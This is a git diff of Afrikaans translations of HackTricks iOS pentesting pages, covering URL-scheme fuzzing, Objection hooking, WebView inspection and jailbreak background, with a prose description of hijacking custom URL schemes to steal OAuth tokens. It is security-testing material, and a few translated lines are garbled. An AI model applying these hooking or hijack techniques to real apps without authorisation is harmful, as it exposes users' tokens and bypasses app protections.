sy eie unieke huisgids werk, wat dit verhoed om toegang te verkry tot stelselfeite of data wat aan ander apps behoort. Die afdwinging van hierdie beperkings word uitgevoer deur middel van sandbox beleid, wat deel is van die **Trusted BSD (MAC) Verpligte Toegang Beheer Raamwerk**. +In die wêreld van app ontwikkeling, speel **sandboxing** 'n belangrike rol in die verbetering van sekuriteit. Hierdie proses verseker dat elke app binne sy eie unieke huisgids werk, wat dit verhoed om toegang te verkry tot stelselfeite of data wat aan ander apps behoort. Die afdwinging van hierdie beperkings word uitgevoer deur middel van sandbox beleid, wat 'n deel van die **Trusted BSD (MAC) Mandatory Access Control Framework** is. -Ontwikkelaars het die vermoë om sekere **vermoëns of toestemmings** vir hul apps te konfigureer, soos **Data Beskerming** of **Keychain Deling**. Hierdie toestemmings word onmiddellik toegepas nadat die app geïnstalleer is. Nietemin, om toegang te verkry tot sekere beskermde hulpbronne, moet die app eksplisiete toestemming van die gebruiker verkry tydens die eerste poging. Dit word bereik deur die gebruik van _doelstrings_ of _gebruik beskrywing strings_, wat aan gebruikers in 'n toestemming versoek waarskuwing aangebied word. +Ontwikkelaars het die vermoë om sekere **vermoëns of toestemmings** vir hul apps te konfigureer, soos **Data Beskerming** of **Keychain Deling**. Hierdie toestemmings word onmiddellik toegepas nadat die app geïnstalleer is. Nietemin, om toegang te verkry tot sekere beskermde hulpbronne, moet die app eksplisiete toestemming van die gebruiker verkry tydens die eerste poging. Dit word bereik deur die gebruik van _doelstrings_ of _gebruik beskrywing strings_, wat aan gebruikers in 'n toestemming versoek waarskuwing voorgelê word. Vir diegene met toegang tot die bronkode, kan die verifikasie van toestemmings ingesluit in die `Info.plist` lêer gedoen word deur: @@ -107,7 +107,7 @@ Byvoorbeeld, die doelstrings in die `Info.plist` lêer mag soos volg lyk: ``` ## Toestelle Vermoëns -Die `Info.plist` lêer van 'n toepassing spesifiseer **toestelle vermoëns** wat die App Store help om toepassings vir toestelkompatibiliteit te filter. Hierdie word gedefinieer onder die **`UIRequiredDeviceCapabilities`** sleutel. Byvoorbeeld: +Die `Info.plist` lêer van 'n app spesifiseer **toestelle vermoëns** wat die App Store help om apps vir toestelkompatibiliteit te filter. Hierdie word gedefinieer onder die **`UIRequiredDeviceCapabilities`** sleutel. Byvoorbeeld: ```xml UIRequiredDeviceCapabilities diff --git a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md index 2d2624132..bcc1600a6 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md +++ b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md @@ -46,7 +46,7 @@ return true ``` ### Toetsing van URL-versoeke na Ander Programme -Metodes soos `openURL:options:completionHandler:` is van kardinale belang om URL's te open om met ander programme te kommunikeer. Die identifisering van die gebruik van sulke metodes in die app se bronkode is sleutels tot die begrip van eksterne kommunikasies. +Metodes soos `openURL:options:completionHandler:` is noodsaaklik om URL's te open om met ander programme te kommunikeer. Die identifisering van die gebruik van sulke metodes in die app se bronkode is sleutels tot die begrip van eksterne kommunikasie. ### Toetsing vir Verouderde Metodes @@ -54,7 +54,7 @@ Verouderde metodes wat URL-opening hanteer, soos `application:handleOpenURL:` en ### Fuzzing URL Skemas -Fuzzing URL skemas kan geheue-korrupsie foute identifiseer. Gereedskap soos [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) kan hierdie proses outomatiseer deur URL's met verskillende payloads te open om vir crashes te monitor, soos geïllustreer deur die manipulasie van URL's in die iGoat-Swift app: +Fuzzing URL skemas kan geheuekorruptie foute identifiseer. Gereedskap soos [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) kan hierdie proses outomatiseer deur URL's met verskillende payloads te open om vir crashes te monitor, soos geïllustreer deur die manipulasie van URL's in die iGoat-Swift app: ```bash $ frida -U SpringBoard -l ios-url-scheme-fuzzing.js [iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}") @@ -62,12 +62,12 @@ Watching for crashes from iGoat... No logs were moved. Opened URL: iGoat://?contactNumber=0&message=0 ``` -## Aangepaste URL skema kaping +## Aangepaste URL-skema-hijacking -Volgens [**hierdie pos**](https://evanconnelly.github.io/post/ios-oauth/) kan kwaadwillige toepassings **ander toepassings se aangepaste skemas registreer,** dan kan die kwaadwillige toepassing 'n blaaiersessie oopmaak wat al die koekies van die Safari-toepassing het met [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). +Volgens [**hierdie pos**](https://evanconnelly.github.io/post/ios-oauth/) kan kwaadwillige toepassings **ander toepassings se aangepaste skemas registreer,** dan kan die kwaadwillige toepassing 'n blaaier oopmaak wat al die koekies van die Safari-toepassing het met [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). -Met die blaaiersessie kan die kwaadwillige toepassing 'n webblad wat deur 'n aanvaller beheer word, laai en TCC sal die mobiele gebruiker vra om toestemming te gee om daardie toepassing oop te maak. Dan kan die kwaadwillige webblad na 'n slagofferbladsy herlei, byvoorbeeld 'n OAuth-stroom met die parameter `prompt=none`. As die gebruiker reeds ingelog was in die OAuth-stroom, sal die OAuth-stroom die geheim terugstuur na die slagoffer-toepassing met behulp van die aangepaste skema van die slagoffer-toepassing.\ -E however, omdat die kwaadwillige toepassing dit ook geregistreer het en omdat die gebruikte blaaiersessie binne die kwaadwillige toepassing is, sal die aangepaste skema in hierdie geval hanteer word deur die kwaadwillige toepassing wat in staat sal wees om die OAuth-token te steel. +Met die blaaiers kan die kwaadwillige toepassing 'n webblad wat deur 'n aanvaller beheer word, laai en TCC sal die mobiele gebruiker vra om toestemming te gee om daardie toepassing oop te maak. Dan kan die kwaadwillige webblad na 'n slagofferbladsy herlei, byvoorbeeld 'n OAuth-stroom met die parameter `prompt=none`. As die gebruiker reeds ingelog was in die OAuth-stroom, sal die OAuth-stroom die geheim terugstuur na die slagoffer-toepassing met behulp van die aangepaste skema van die slagoffer-toepassing.\ +E however, omdat die kwaadwillige toepassing dit ook geregistreer het en omdat die gebruikte blaaiers binne die kwaadwillige toepassing is, sal die aangepaste skema in hierdie geval hanteer word deur die kwaadwillige toepassing wat in staat sal wees om die OAuth-token te steel. ## Verwysings diff --git a/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md b/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md index f2b572db2..5bcf8c335 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md +++ b/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md @@ -1,7 +1,7 @@ {{#include ../../banners/hacktricks-training.md}} Vir hierdie afdeling gaan die hulpmiddel [**Objection**](https://github.com/sensepost/objection) gebruik word.\ -Begin deur 'n Objection-sessie te verkry deur iets soos die volgende uit te voer: +Begin deur 'n Objection-sessie te verkry deur iets soos te voer: ```bash objection -d --gadget "iGoat-Swift" explore objection -d --gadget "OWASP.iGoat-Swift" explore @@ -181,7 +181,7 @@ ios hooking search methods cvv # Basiese Hooking -Nou dat u **die klasse en modules** wat deur die toepassing gebruik word, geenumerer het, het u dalk 'n paar **interessante klas- en metodename** gevind. +Nou dat u **die klasse en modules** wat deur die toepassing gebruik word, geenumerer het, het u dalk 'n paar **interessante klas en metode name** gevind. ## Hook alle metodes van 'n klas @@ -201,7 +201,7 @@ ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPresse ## Verander Boolean Terug -- `ios hooking set return_value "-[ ]" false`: Dit sal die geselekteerde metode laat terugkeer na die aangeduide boolean +- `ios hooking set return_value "-[ ]" false`: Dit sal maak dat die geselekteerde metode die aangeduide boolean teruggee ```bash ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false diff --git a/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md b/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md index ac6921737..2ae8115cc 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md +++ b/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md @@ -27,7 +27,7 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name) ``` ### **Verbetering van Sekuriteit met `NSSecureCoding`** -Om kwesbaarhede te verminder waar aanvallers data in reeds geboude voorwerpe inspuit, bied **`NSSecureCoding`** 'n verbeterde protokol. Klasse wat aan `NSSecureCoding` voldoen, moet die tipe voorwerpe tydens dekodering verifieer, wat verseker dat slegs die verwagte voorwerp tipes geïnstantieer word. Dit is egter belangrik om op te let dat terwyl `NSSecureCoding` tipe veiligheid verbeter, dit nie data enkripteer of die integriteit daarvan verseker nie, wat addisionele maatreëls vereis om sensitiewe inligting te beskerm: +Om kwesbaarhede te verminder waar aanvallers data in reeds gebou objekte inspuit, bied **`NSSecureCoding`** 'n verbeterde protokol. Klasse wat aan `NSSecureCoding` voldoen, moet die tipe objekte tydens dekodering verifieer, wat verseker dat slegs die verwagte objektipe geïnstantieer word. Dit is egter belangrik om op te let dat terwyl `NSSecureCoding` tipe veiligheid verbeter, dit nie data enkripteer of die integriteit daarvan verseker nie, wat addisionele maatreëls vereis om sensitiewe inligting te beskerm: ```swift static var supportsSecureCoding: Bool { return true @@ -37,7 +37,7 @@ let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey") ``` ## Data-argivering met `NSKeyedArchiver` -`NSKeyedArchiver` en sy teenhanger, `NSKeyedUnarchiver`, stel in staat om objekte in 'n lêer te kodifiseer en later weer te onttrek. Hierdie meganisme is nuttig vir die volharding van objekte: +`NSKeyedArchiver` en sy teenhanger, `NSKeyedUnarchiver`, stel in staat om voorwerpe in 'n lêer te kodifiseer en dit later te herwin. Hierdie meganisme is nuttig vir die volharding van voorwerpe: ```swift NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive") let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint @@ -55,11 +55,11 @@ Hierdie benadering ondersteun eenvoudige serialisering na en van eiendomslijste ## JSON en XML Kodering Alternatiewe -Benewens inheemse ondersteuning, bied verskeie derdeparty-biblioteke JSON en XML kodering/ontkodering vermoëns, elk met sy eie prestasiekenmerke en sekuriteits oorwegings. Dit is noodsaaklik om hierdie biblioteke versigtig te kies, veral om kwesbaarhede soos XXE (XML Externe Entiteite) aanvalle te verminder deur parsers te konfigureer om eksterne entiteitverwerking te voorkom. +Benewens inheemse ondersteuning, bied verskeie derdeparty-biblioteke JSON en XML kodering/ontkodering vermoëns, elk met sy eie prestasiekenmerke en sekuriteitsoorwegings. Dit is noodsaaklik om hierdie biblioteke versigtig te kies, veral om kwesbaarhede soos XXE (XML Externe Entiteite) aanvalle te verminder deur parsers te konfigureer om eksterne entiteitverwerking te voorkom. -### Sekuriteits Oorwegings +### Sekuriteitsoorwegings -Wanneer data geserialiseer word, veral na die lêerstelsel, is dit noodsaaklik om waaksaam te wees oor die potensiële insluiting van sensitiewe inligting. Geserialiseerde data, indien onderskep of verkeerd hanteer, kan toepassings blootstel aan risiko's soos ongeoorloofde aksies of datalek. Dit word aanbeveel om geënkripteerde en ondertekende geserialiseerde data te gebruik om sekuriteit te verbeter. +Wanneer data geserialiseer word, veral na die lêerstelsel, is dit noodsaaklik om waaksaam te wees oor die potensiële insluiting van sensitiewe inligting. Geserialiseerde data, indien onderskep of verkeerd hanteer, kan toepassings blootstel aan risiko's soos ongeoorloofde aksies of datalekke. Dit word aanbeveel om geënkripteerde en ondertekende geserialiseerde data te gebruik om sekuriteit te verbeter. ## Verwysings diff --git a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md index 409498f92..d3dcc42bd 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -28,8 +28,8 @@ Dit word sterk aanbeveel om **Xcode** van die **amptelike app winkel** af te laa Die simulator lêers kan gevind word in `/Users//Library/Developer/CoreSimulator/Devices` -Om die simulator te open, hardloop Xcode, druk dan in die _Xcode oortjie_ --> _Open Ontwikkelaar gereedskap_ --> _Simulator_\ -\_\_In die volgende beeld kan jy deur op "iPod touch \[...]" te klik, 'n ander toestel kies om op te toets: +Om die simulator te open, hardloop Xcode, druk dan in die _Xcode tab_ --> _Open Ontwikkelaar gereedskap_ --> _Simulator_\ +\_\_In die volgende beeld kan jy deur op "iPod touch \[...\]" te klik 'n ander toestel kies om op te toets: ![](<../../images/image (270).png>) @@ -37,7 +37,7 @@ Om die simulator te open, hardloop Xcode, druk dan in die _Xcode oortjie_ --> _O ### Toepassings in die Simulator -Binne `/Users//Library/Developer/CoreSimulator/Devices` kan jy al die **geïnstalleerde simulators** vind. As jy toegang wil hê tot die lêers van 'n toepassing wat binne een van die emulators geskep is, kan dit moeilik wees om te weet **in watter een die app geïnstalleer is**. 'n Vinige manier om die **regte UID te vind** is om die app in die simulator te voer en uit te voer: +Binne `/Users//Library/Developer/CoreSimulator/Devices` kan jy al die **geïnstalleerde simulators** vind. As jy toegang wil hê tot die lêers van 'n toepassing wat binne een van die emulators geskep is, kan dit moeilik wees om te weet **in watter een die app geïnstalleer is**. 'n Vinige manier om **die korrekte UID te vind** is om die app in die simulator te laat loop en uit te voer: ```bash xcrun simctl list | grep Booted iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) @@ -61,11 +61,11 @@ Kyk na hierdie blogpos oor hoe om 'n iOS-toepassing in 'n **nie-jailbroken toest Apple vereis streng dat die kode wat op die iPhone loop, **onderteken moet wees deur 'n sertifikaat wat deur Apple uitgereik is**. **Jailbreaking** is die proses om aktief **soos beperkings te omseil** en ander sekuriteitsbeheermaatreëls wat deur die OS in plek gestel is. Daarom, sodra die toestel gejailbreak is, word die **integriteitskontrole** wat verantwoordelik is vir die kontrole van toepassings wat geïnstalleer word, gepatch sodat dit **omseil** word. > [!NOTE] -> Anders as Android, **kan jy nie na "Ontwikkelaarsmodus" oorgaan** in iOS om ongetekende/onbetroubare kode op die toestel te loop nie. +> Anders as Android, **kan jy nie na "Ontwikkelaarsmodus" oorskakel** in iOS om ongetekende/onbetroubare kode op die toestel te loop nie. ### Android Rooting vs. iOS Jailbreaking -Terwyl dit dikwels vergelyk word, is **rooting** op Android en **jailbreaking** op iOS fundamenteel verskillende prosesse. Rooting Android-toestelle kan behels **die installering van die `su` binêre** of **die vervanging van die stelsel met 'n ge-rootte pasgemaakte ROM**, wat nie noodwendig eksplosiewe benodig nie as die bootloader ontgrendel is. **Flashing pasgemaakte ROMs** vervang die toestel se OS na die ontgrendeling van die bootloader, wat soms 'n eksploit vereis. +Terwyl dit dikwels vergelyk word, is **rooting** op Android en **jailbreaking** op iOS fundamenteel verskillende prosesse. Rooting Android-toestelle kan behels **die installering van die `su` binêre** of **die vervanging van die stelsel met 'n ge-rootte pasgemaakte ROM**, wat nie noodwendig eksplosiewe benodig nie as die bootloader ontgrendel is. **Flashing pasgemaakte ROMs** vervang die toestel se OS na die ontgrendeling van die bootloader, wat soms 'n eksplosiewe benodig. In teenstelling hiermee kan iOS-toestelle nie pasgemaakte ROMs flits nie weens die bootloader se beperking om slegs Apple-ondertekende beelde te begin. **Jailbreaking iOS** is daarop gemik om Apple se kodeondertekening beskerming te omseil om ongetekende kode te laat loop, 'n proses wat bemoeilik word deur Apple se deurlopende sekuriteitsverbeterings. @@ -94,7 +94,7 @@ Die aanpassing van jou toestel dra risiko's, en jailbreaking moet met omsigtighe ### Jailbreaking Voordele en Risiko's -Jailbreaking **verwyder OS-geplaasde sandboxing**, wat toelaat dat toepassings toegang tot die hele lêerstelsel het. Hierdie vryheid stel die installasie van nie-goedgekeurde toepassings en toegang tot meer API's in staat. Tog, vir gewone gebruikers, word jailbreaking **nie aanbeveel nie** weens potensiële sekuriteitsrisiko's en toestel onstabiliteit. +Jailbreaking **verwyder OS-geplaasde sandboxing**, wat toelaat dat toepassings toegang tot die hele lêerstelsel het. Hierdie vryheid stel die installasie van nie-goedgekeurde toepassings en toegang tot meer API's moontlik. Tog, vir gewone gebruikers, word jailbreaking **nie aanbeveel nie** weens potensiële sekuriteitsrisiko's en toestel onstabiliteit. ### **Na Jailbreaking** @@ -110,7 +110,7 @@ basic-ios-testing-operations.md - In 'n gejailbreak toestel kry toepassings **lees/skryf toegang tot nuwe lêers** buite die sandbox - Sommige **API** **oproepen** sal **anders optree** - Die teenwoordigheid van die **OpenSSH** diens -- Die oproep van `/bin/sh` sal **1** teruggee in plaas van 0 +- Oproep van `/bin/sh` sal **1** teruggee in plaas van 0 **Meer inligting oor hoe om jailbreaking te detecteer** [**hier**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.** diff --git a/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md b/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md index 8cce30893..5444e98ff 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md +++ b/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md @@ -16,7 +16,7 @@ Aandag moet gegee word aan: - Die insluiting van pasgemaakte aktiwiteite. - Die uitsluiting van sekere aktiwiteit tipes. -Deel word gefasiliteer deur die instansie van 'n `UIActivityViewController`, waaraan die items wat bedoel is om te deel, oorgedra word. Dit word bereik deur te bel: +Deel word gefasiliteer deur die instansie van 'n `UIActivityViewController`, waaraan die items wat bedoel is om gedeel te word, oorgedra word. Dit word bereik deur te bel: ```bash $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems 0x1000df034 45 44 initWithActivityItems:applicationActivities: @@ -37,7 +37,7 @@ Sonder toegang tot die bronkode, kan 'n mens steeds die `Info.plist` ondersoek v ## Dinamiese Toetsbenadering -Om **aktiwiteite te stuur** te toets, kan 'n mens: +Om **aktiwiteite te stuur** kan 'n mens: - In die `init(activityItems:applicationActivities:)` metode inhaak om die items en aktiwiteite wat gedeel word, vas te vang. - Uitsluitingsaktiwiteite identifiseer deur die `excludedActivityTypes` eienskap te onderskep. diff --git a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md index 1ad1177eb..c107b49bc 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md +++ b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md @@ -26,7 +26,7 @@ Vir statiese analise, soek die bronkode of binêre vir: Dinamiese analise behels die haak of opspoor van spesifieke metodes: - Monitor `generalPasteboard` vir sisteemwye gebruik. -- Spoor `pasteboardWithName:create:` en `pasteboardWithUniqueName` vir pasgemaakte implementasies. +- Volg `pasteboardWithName:create:` en `pasteboardWithUniqueName` vir pasgemaakte implementasies. - Observeer verouderde `setPersistent:` metode-aanroepe om vir volhoubaarheidinstellings te kyk. Belangrike besonderhede om te monitor sluit in: @@ -35,7 +35,7 @@ Belangrike besonderhede om te monitor sluit in: - **Aantal items** en **datatipes** wat teenwoordig is, met gebruik van standaard en pasgemaakte datatipes. - **Vervaldatums en plaaslike slegs opsies** deur die `setItems:options:` metode te ondersoek. -'n Voorbeeld van die gebruik van 'n moniteringstoestel is **objection se plakbordmoniter**, wat die generalPasteboard elke 5 sekondes vir veranderinge ondervra en die nuwe data uitset. +'n Voorbeeld van die gebruik van 'n moniteringstoestel is **objection se plakbordmoniter**, wat die generalPasteboard elke 5 sekondes vir veranderinge pols en die nuwe data uitset. Hier is 'n eenvoudige JavaScript-skripvoorbeeld, geïnspireer deur die objection se benadering, om veranderinge van die plakbord elke 5 sekondes te lees en te log: ```javascript diff --git a/src/mobile-pentesting/ios-pentesting/ios-universal-links.md b/src/mobile-pentesting/ios-pentesting/ios-universal-links.md index 80b9f9ca8..237e418b7 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-universal-links.md +++ b/src/mobile-pentesting/ios-pentesting/ios-universal-links.md @@ -6,7 +6,7 @@ Universal links bied 'n **naatlose herleiding** ervaring aan gebruikers deur inhoud direk in die app te open, wat die behoefte aan Safari-herleiding omseil. Hierdie skakels is **uniek** en veilig, aangesien dit nie deur ander apps geclaim kan word nie. Dit word verseker deur 'n `apple-app-site-association` JSON-lêer op die webwerf se wortelgids te huisves, wat 'n verifieerbare skakel tussen die webwerf en die app tot stand bring. In gevalle waar die app nie geïnstalleer is nie, sal Safari oorneem en die gebruiker na die webblad lei, terwyl die app se teenwoordigheid gehandhaaf word. -Vir penetrasietoetsers is die `apple-app-site-association` lêer van besondere belang, aangesien dit **sensitiewe paaie** kan onthul, moontlik insluitend dié wat verband hou met nie-vrygestelde funksies nie. +Vir penetrasietoetsers is die `apple-app-site-association` lêer van besondere belang, aangesien dit **sensitiewe paaie** kan onthul, moontlik insluitend dié wat verband hou met nie-vrygestelde funksies. ### **Ontleding van die Geassosieerde Domeine Regte** @@ -44,7 +44,7 @@ application.open(url, options: [:], completionHandler: nil) return true } ``` -URLs moet versigtig geparseer en gevalideer word, veral as hulle parameters insluit, om teen moontlike spoofing of verkeerd gevormde data te beskerm. Die `NSURLComponents` API is nuttig vir hierdie doel, soos hieronder gedemonstreer: +URLs moet versigtig geparseer en gevalideer word, veral as hulle parameters insluit, om te beskerm teen potensiële spoofing of verkeerd gevormde data. Die `NSURLComponents` API is nuttig vir hierdie doel, soos hieronder gedemonstreer: ```swift func application(_ application: UIApplication, continue userActivity: NSUserActivity, diff --git a/src/mobile-pentesting/ios-pentesting/ios-webviews.md b/src/mobile-pentesting/ios-pentesting/ios-webviews.md index 8633113f8..cc6f871a3 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-webviews.md +++ b/src/mobile-pentesting/ios-pentesting/ios-webviews.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Die kode van hierdie bladsy is onttrek van [hier](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Gaan die bladsy na vir verdere besonderhede. +Die kode van hierdie bladsy is onttrek van [hier](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Kyk na die bladsy vir verdere besonderhede. ## WebViews tipes @@ -10,9 +10,9 @@ WebViews word binne toepassings gebruik om webinhoud interaktief te vertoon. Ver - **UIWebView**, wat nie meer aanbeveel word vanaf iOS 12 nie weens die gebrek aan ondersteuning om **JavaScript** te deaktiveer, wat dit vatbaar maak vir skripinjekie en **Cross-Site Scripting (XSS)** aanvalle. -- **WKWebView** is die verkieslike opsie om webinhoud in toepassings in te sluit, wat verbeterde beheer oor die inhoud en sekuriteitskenmerke bied. **JavaScript** is standaard geaktiveer, maar dit kan indien nodig gedeaktiveer word. Dit ondersteun ook funksies om te voorkom dat JavaScript outomaties vensters oopmaak en verseker dat alle inhoud veilig gelaai word. Boonop minimaliseer **WKWebView**'s argitektuur die risiko van geheuebesoedeling wat die hooftoepassing proses beïnvloed. +- **WKWebView** is die verkieslike opsie om webinhoud in toepassings in te sluit, wat verbeterde beheer oor die inhoud en sekuriteitskenmerke bied. **JavaScript** is standaard geaktiveer, maar dit kan indien nodig gedeaktiveer word. Dit ondersteun ook funksies om te voorkom dat JavaScript vensters outomaties oopmaak en verseker dat alle inhoud veilig gelaai word. Boonop minimaliseer **WKWebView**'s argitektuur die risiko van geheuebesoedeling wat die hooftoepassing proses beïnvloed. -- **SFSafariViewController** bied 'n gestandaardiseerde webblaaierervaring binne toepassings, herkenbaar aan sy spesifieke uitleg wat 'n lees-slegs adresveld, deel- en navigasieknope, en 'n direkte skakel om inhoud in Safari te open insluit. Anders as **WKWebView**, kan **JavaScript** nie in **SFSafariViewController** gedeaktiveer word nie, wat ook koekies en data met Safari deel, terwyl dit gebruikersprivaatheid van die toepassing handhaaf. Dit moet prominent vertoon word volgens App Store riglyne. +- **SFSafariViewController** bied 'n gestandaardiseerde webblaaierervaring binne toepassings, herkenbaar aan sy spesifieke uitleg wat 'n lees-slegs adresveld, deel- en navigasieknoppies, en 'n direkte skakel om inhoud in Safari te open insluit. Anders as **WKWebView**, kan **JavaScript** nie in **SFSafariViewController** gedeaktiveer word nie, wat ook koekies en data met Safari deel, terwyl dit gebruikersprivaatheid van die toepassing handhaaf. Dit moet prominent vertoon word volgens App Store riglyne. ```javascript // Example of disabling JavaScript in WKWebView: WKPreferences *preferences = [[WKPreferences alloc] init]; @@ -31,35 +31,35 @@ In die proses om **WebViews** konfigurasies te ondersoek, word twee primêre tip ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" ``` -Hierdie opdrag help om voorbeelde van **UIWebView** te vind deur teksstringe wat daarmee verband hou in die binêre te soek. +Hierdie opdrag help om voorbeelde van **UIWebView** te vind deur te soek na teksstringe wat daarmee verband hou in die binêre. - **WKWebView Identifikasie** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" ``` -Net so, vir **WKWebView**, soek hierdie opdrag die binêre vir teksstringe wat aandui dat dit gebruik word. +Net so, vir **WKWebView**, soek hierdie opdrag die binêre vir teksstringe wat aandui van sy gebruik. -Verder, om te vind hoe 'n **WKWebView** geïnitialiseer word, word die volgende opdrag uitgevoer, wat die metode-handtekening teiken wat verband hou met sy inisialisering: +Verder, om te vind hoe 'n **WKWebView** geïnitialiseer word, word die volgende opdrag uitgevoer, wat teiken die metode-handtekening wat verband hou met sy inisialisering: ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" ``` #### **JavaScript Konfigurasie Verifikasie** -Vir **WKWebView** is dit beklemtoon dat die deaktivering van JavaScript 'n beste praktyk is tensy dit benodig word. Die gecompileerde binêre word gesoek om te bevestig dat die `javaScriptEnabled` eienskap op `false` gestel is, wat verseker dat JavaScript gedeaktiveer is: +Vir **WKWebView** word dit beklemtoon dat die deaktivering van JavaScript 'n beste praktyk is tensy dit benodig word. Die gecompileerde binêre word gesoek om te bevestig dat die `javaScriptEnabled` eienskap op `false` gestel is, wat verseker dat JavaScript gedeaktiveer is: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" ``` #### **Slegs Veilige Inhoud Verifikasie** -**WKWebView** bied die vermoë om gemengde inhoud probleme te identifiseer, in teenstelling met **UIWebView**. Dit word nagegaan met die `hasOnlySecureContent` eienskap om te verseker dat alle bladsyhulpbronne deur veilige verbindings gelaai word. Die soektog in die gecompileerde binêre word soos volg uitgevoer: +**WKWebView** bied die vermoë om gemengde inhoud probleme te identifiseer, in teenstelling met **UIWebView**. Dit word nagegaan met die `hasOnlySecureContent` eienskap om te verseker dat alle bladsyhulpbronne deur veilige verbindings gelaai word. Die soektog in die saamgestelde binêre word soos volg uitgevoer: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` ### **Dinamiese Analise Inligting** -Dinamiese analise behels die inspeksie van die heap vir WebView instansies en hul eienskappe. 'n Skrip genaamd `webviews_inspector.js` word vir hierdie doel gebruik, wat fokus op `UIWebView`, `WKWebView`, en `SFSafariViewController` instansies. Dit log inligting oor gevonde instansies, insluitend URL's en instellings rakende JavaScript en veilige inhoud. +Dinamiese analise behels die inspeksie van die heap vir WebView voorwerpe en hul eienskappe. 'n Skrip genaamd `webviews_inspector.js` word vir hierdie doel gebruik, wat fokus op `UIWebView`, `WKWebView`, en `SFSafariViewController` voorwerpe. Dit log inligting oor gevonde voorwerpe, insluitend URL's en instellings rakende JavaScript en veilige inhoud. -Heap-inspeksie kan gedoen word met behulp van `ObjC.choose()` om WebView instansies te identifiseer en `javaScriptEnabled` en `hasonlysecurecontent` eienskappe te kontroleer. +Heap-inspeksie kan gedoen word met behulp van `ObjC.choose()` om WebView voorwerpe te identifiseer en die `javaScriptEnabled` en `hasonlysecurecontent` eienskappe te kontroleer. ```javascript:webviews_inspector.js ObjC.choose(ObjC.classes["UIWebView"], { onMatch: function (ui) { @@ -120,11 +120,11 @@ Hierdie opsomming sluit die kritieke stappe en opdragte in wat betrokke is by di ## WebView Protokol Hantering -Die hantering van inhoud in WebViews is 'n kritieke aspek, veral wanneer daar met verskillende protokolle soos `http(s)://`, `file://`, en `tel://` gewerk word. Hierdie protokolle stel die laai van sowel afstands- as plaaslike inhoud binne toepassings in staat. Dit word beklemtoon dat wanneer plaaslike inhoud gelaai word, voorsorgmaatreëls getref moet word om te voorkom dat gebruikers die lêernaam of pad beïnvloed en die inhoud self redigeer. +Die hantering van inhoud in WebViews is 'n kritieke aspek, veral wanneer daar met verskillende protokolle soos `http(s)://`, `file://`, en `tel://` gewerk word. Hierdie protokolle stel die laai van sowel afstands- as plaaslike inhoud binne toepassings in staat. Dit word beklemtoon dat wanneer plaaslike inhoud gelaai word, voorsorgmaatreëls geneem moet word om te voorkom dat gebruikers die lêernaam of pad beïnvloed en die inhoud self redigeer. **WebViews** bied verskillende metodes vir inhoudlaai. Vir **UIWebView**, wat nou verouderd is, word metodes soos `loadHTMLString:baseURL:` en `loadData:MIMEType:textEncodingName:baseURL:` gebruik. **WKWebView**, aan die ander kant, gebruik `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, en `loadRequest:` vir webinhoud. Metodes soos `pathForResource:ofType:`, `URLForResource:withExtension:`, en `init(contentsOf:encoding:)` word tipies gebruik om plaaslike lêers te laai. Die metode `loadFileURL:allowingReadAccessToURL:` is veral noemenswaardig vir sy vermoë om 'n spesifieke URL of gids in die WebView te laai, wat potensieel sensitiewe 